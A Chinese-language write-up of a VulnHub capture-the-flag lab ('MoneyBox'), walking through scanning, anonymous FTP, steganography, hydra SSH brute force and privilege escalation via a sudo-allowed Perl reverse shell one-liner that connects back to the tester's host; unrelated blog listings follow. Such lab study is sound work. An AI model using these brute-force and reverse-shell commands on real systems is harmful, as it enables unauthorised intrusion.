打靶笔记-01-vulnhub-moneybox

本篇笔记根据苑老师视频进行学习记录

https://www.bilibili.com/video/BV1Lv411n7Lq/?spm_id_from=333.788

一、靶机信息

  1. NamemoneyboxEasy
  2. Downloadhttp://www.vulnhub.com/entry/moneybox-1,653/
  3. Date release27 Feb 2021
  4. Goal : 3 flags

二、靶机启动

2.1 校验靶机文件

  1. sha1sum MoneyBox.ova
  2. 34959dd3b6f9a120056cf11e644e7960c9e728db MoneyBox.ova

2.1 导入Vbox,并配置网络

这个靶机适用于Vbox的,不过我kali在Vmware上,我将靶机导入进去后,将靶机的网络桥接到了Vmware的虚拟网卡vmnet8上,这样两者就在一个网段了。

2.2 打快照,启动靶机

没啥好说的,先打个快照,然后就启动靶机,就开始玩了

三、开始渗透

3.1 获取靶机IP

3.1.1 首先获取查看下kali的网卡信息

3.1.2 然后进行arp扫描

  1. sudo arp-scan -I eth0 -l



成功获取到靶机IP为 172.16.95.137

3.2 扫描端口和服务

3.2.1 查看目标机器开放端口

  1. sudo nmap -p- 172.16.95.137



发现端口开放:21、22、80

3.2.2 确定端口所对应的服务及版本

  1. sudo nmap -sV -p21,22,80 172.16.95.137



确定21端口上运行的是ftp 3.0.3;22端口上运行的是OpenSSH 7.9sp1;80端口上运行的是Apache 2.4.38

3.2.3 调用nmap针对默认端口的脚本扫描漏洞

  1. sudo nmap -p21 -sC 172.16.95.137
  2. sudo nmap -p22 -sC 172.16.95.137
  3. sudo nmap -p80 -sC 172.16.95.137







通过扫描可以发现:

ftp有一个匿名登陆的漏洞,而且上面还有一张图片;

OpenSSH上发现了一些Key;

http上发现了一个网页Title:Moneyox;

3.3 漏洞利用

结合扫描结果,最大的利用点就是ftp的匿名登陆,ssh虽然可以暴力破解登陆,但是在渗透前期不建议直接开始爆破,容易被发现Bind掉或导致防护,最后就是http上面或许会有漏洞或者其他信息泄漏;

3.3.1 开始尝试ftp的匿名登陆

  1. ftp 172.16.95.137
  2. # 账户密码均为anonymous
  3. ls
  4. get trytofind.jpg
  5. exit



成功拿到一张图片

3.3.2 访问Web服务



貌似没有啥,提示这是个简单的靶机,不要想太多,emmm

查看下网页源代码,好像也没啥



那就目录扫描吧,看有没有其他路径开着其他页面

  1. sudo dirsearch -u http://172.16.95.137/



发现一个新页面blogs,那就跟过去了,看看会有什么发现



依旧啥也没有,不过暗示这里有点提示,那就还是先从查看源代码走起



我的网页开的大,就直接看到最下面了,如果左边行数一直向下有或右边一直有滚动条,要记得拉开看,这里提示还有一个隐藏的目录S3cr3t-T3xt,这是刚刚扫描时字典里没有的,那就跟过去继续...



这回跟过去后还是查看页面源代码,发现了一个Key:

Secret Key 3xtr4ctd4t4

然后线索就断了,暂时没有别的发现了

3.3.3 爆破SSH

到目前为止,获得一张图片和一个key,都无法更进一步获得权限,所以可以尝试一下SSH爆破

  1. # 先尝试一下root账户
  2. echo root > user.txt
  3. # 准备一个字典,这里直接拷贝kali里自带的一个字典出来使用,这个字典就挺大55Mb
  4. cp /usr/share/wordlists/rockyou.txt.gz .
  5. gunzip rockyou.txt.gz
  6. # nmap 的ssh爆破脚本
  7. sudo nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 172.16.95.137

3.3.4 阶段性总结

到目前为止,依旧没有任何进展,图片,Key,SSH爆破中,好像图片中可以隐藏一些东西(这个在CTF中比较常见),所以可以先查看一下

  1. strings trytofind.jpg



首先能看到的是,这个有点太规律了,这个对于图片来说相当不正常,说明应该是有点东西的,但是目前看到的应该不是明文,不然这样也是没有意义的,很有可能是某种隐写术;

3.3.5 尝试用隐写术解密工具进行读取隐藏的信息

这里使用steghide,需要先安装一下

  1. sudo apt install steghide
  2. steghide info trytofind.jpg



可以看到已经发现有嵌入的数据了,不过在尝试读取的时候需要密码,可以尝试将之前获取到的KEY输入进行看下...



密码正确,这张图片内嵌入了一个data.txt文件,然后进行提取

  1. steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4
  2. cat data.txt



可以发现有一个用户名renu的出现,而且密码比较弱,刚才root的SSH也没有爆破出来,那么可以尝试一下这个...

3.3.6 爆破renu的弱口令密码

  1. # 使用hydra进行破解
  2. hydra -l renu -P rockyou.txt 172.16.95.137 ssh



可以看到很快将renu账户的ssh密码987654321爆破出来了

3.3.7 尝试登陆SSH

  1. ssh renu@172.16.95.137



成功登陆,又进一步,进入之后开始进行信息收集

  1. ls
  2. pwd
  3. uname -a
  4. uname -r
  5. sudo su -
  6. ...



可以看到:

renu用户是个普通用户,而且没有sudo权限

renu可以进入lily的用户目录

直接找到两个flag

3.3.8 提权

既然权限不是root,肯定是要提权了,可以通过内核漏洞或者其他方式进行提权,不过在进行这些复杂操作之前可以先浏览一下系统里能浏览的可能存在敏感信息的文件,看能不能获取些不用漏洞即可提权的信息,首先要看的就是history

  1. history

可以看到renu进行了192.168.43.80主机SSH公钥登陆的配置,登陆账户是lily;

192.168.43.80这个是哪个主机我们不知道,但是lily好像在这台机器上也有一个;

192.168.43.80上的lily有sudo的权限;

renu可以su到本机的lily上;

那么有没有可能这两个lily是同一个机器上的,那么SSH公钥配置操作就发生在了本机,根据SSH公钥工作机制,如果renu进行了ssh-keygen -t rsa 会在renu的~/.ssh/中生成id_rsa和id_rsa.pub两个文件:



而如果renu进行了ssh-copy-id lily@192.168.43.80的操作将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中

既然我们怀疑192.168.43.80上的lily就是这台机器上的lily,那么lily账户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的公钥一致。所以验证一下:



果然一致,那么我们可以的出如下结论:

renu可以通过SSH公钥验证的方式登陆到本机的lily的账户上,而且lily具有sudo的权限

  1. su lily
  2. ssh -i id_rsa lily@172.16.95.137



可以看到su的情况下要密码,lily密码不知道,无果;公钥ssh可以登陆到lily,lily虽然有sudo权限,但是也要密码,也无法进行下一步;

那就只要继续查看下lily的history,看看有没有什么惊喜:



可以看到lily进行了sudoers的编辑,有可能进行了一些配置,而且查找了一些具有suid权限的文件;

然后还执行了sudo -l ,这是可以列出当前用户的sudo权限:

  1. sudo - l



可以看到lily配置了sudo执行perl时NOPASSWD,那么这就可以使用perl进行反弹shell了,这样就会拿到root的权限;

首先在kali上进行开启nc进行监听:

  1. nc -lnvp 6666



然后生成一段用于反弹shell的perl指令进行sudo执行:

  1. sudo perl -e 'use Socket;$i="172.16.95.133";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



记得要把$ENV{}给去掉,不然会报错



如下已经成功拿到root权限和第三个flag



OVER!!!

打靶笔记-01-vulnhub-moneybox的更多相关文章

  1. webug 4.0 打靶笔记-01

    webug 4.0 打靶笔记 1. 显错注入 1.1 访问靶场 1.2 判断注入点 查找一切有参数传入的地方进行测试,注意到有get传参?id=1 猜测后台php中sql语句模板可能为如下几种情况 $ ...

  2. 打靶笔记-04-vulnhub-Jangow

    打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...

  3. 软件测试之loadrunner学习笔记-01事务

    loadrunner学习笔记-01事务<转载至网络> 事务又称为Transaction,事务是一个点为了衡量某个action的性能,需要在开始和结束位置插入一个范围,定义这样一个事务. 作 ...

  4. 《30天自制操作系统》笔记(01)——hello bitzhuwei’s OS!

    <30天自制操作系统>笔记(01)——hello bitzhuwei's OS! 最初的OS代码 ; hello-os ; TAB=4 ORG 0x7c00 ; 指明程序的装载地址 ; 以 ...

  5. 《The Linux Command Line》 读书笔记01 基本命令介绍

    <The Linux Command Line> 读书笔记01 基本命令介绍 1. What is the Shell? The Shell is a program that takes ...

  6. PHP 学习笔记 01

    例子: 为什么要学PHP 主观原因: 前段时间在学校处理了毕业的一些事情,回到上海后开始了找工作的旅程.意向工作是WPF开发或者ASP.NET 作为后端的WEB开发. 陆陆续续一直在面试,其中有一家公 ...

  7. 【技能大赛笔记01】Zigbee点对点按键控制程序开发

    [技能大赛笔记01]Zigbee点对点按键控制程序开发 --2017年"物联网物联网技术应用与维护"任务五题1(中职组) 1.题目要求 2.工程文件 在比赛中,提供了一个基于Bas ...

  8. JS自学笔记01

    JS自学笔记01 1.开发工具 webstorm 2.js(javascript) 是一门脚本.解释性.动态类型.基于对象的语言 含三个部分: ECMAScript标准–java基本语法 DOM(Do ...

  9. 《30天自制操作系统》笔记(01)——hello bitzhuwei’s OS!【转】

    转自:http://www.cnblogs.com/bitzhuwei/p/OS-in-30-days-01-hello-bitzhuwei-OS.html 阅读目录(Content) 最初的OS代码 ...

随机推荐

  1. 利用ICMP协议的PING命令获取客户端当前网络质量 by徐文棋

    无论在windows下,linux也好,unix也好,都可以通过 Ping命令获得当前设备的网络延迟,延迟是客户端到服务端的网络响应时间.通常延迟越低,反应速度越快 这里使用了SimplePing   ...

  2. 重新认识Appium

    一.重新认识Appium   找到了学习资料,却不知道怎么实现!!! 要如何实现呢? Appium完整案例值得参考:手把手搭建环境,其中安装和配置Mave这部分有点老了. 首先下载maven 官网地址 ...

  3. 通讯录管理系统(C++)

    前言 本程序采用VS2019开发实现 博主尽可能完善并健壮了程序功能,如有不理想之处,请加以指正,博主会在第一时间修改完善.原创不易,望"推荐","关注",&q ...

  4. mysql学习+再复习

    mysql 函数 单行函数 exists 是否存在 字符函数 ​ concat(a,b)拼接两个字符串 ​ ifnull(a+b,0) 如果a+b等于null,则返回0 upper,lower 大小写 ...

  5. python中类的初始化案例

    1 class Chinese: 2 # 初始化方法的创建,init两边双下划线. 3 def __init__(self, hometown): 4 self.hometown = hometown ...

  6. 前端点击png透明部分解决方案

    看效果:点击空白区域红色1.点击实体区域红色2.分别得到颜色数据(包括透明度数据),控制台蓝色1.2.根据颜色数据即可解决png透明部分的点击问题. 让图片不能点击,分两种 1. 整张图片不能点击.这 ...

  7. [c语言]c语言中的内存分配[转]

    在任何程序设计环境及语言中,内存管理都十分重要.在目前的计算机系统或嵌入式系统中,内存资源仍然是有限的.因此在程序设计中,有效地管理内存资源是程序员首先考虑的问题. 第1节主要介绍内存管理基本概念,重 ...

  8. [题解]第十一届北航程序设计竞赛预赛——F.序列

    题目描述 (1,--,n)的一个排列S,定义其对应的权值F[S]为:将S划分为若干段连续子序列,每个子序列都是上升序列,F[S]的值等于能划分出的最小段数. 求n的全排列的F[S]的和,答案mod(1 ...

  9. Dashboard究竟是什么,它在数据展示上的优势何在?

    ​相信很多人在做数据分析工作的时候都遇到这种情况,辛辛苦苦做出来的数据报表老板看了嫌弃不够直观.生动,客户看了嫌弃不够高大上.这个时候不妨尝试一下使用Dashboard来展示报表数据,可能有些人对Da ...

  10. Linux:査看文件的详细信息

    Linux中stat是査看文件详细信息的命令. 1.命令格式: stat [选项] 文件名/目录名 2.选项: -f:査看文件所在文件系统信息,而不是査看文件信息. 3. 案例 案例1:査看文件的详细 ...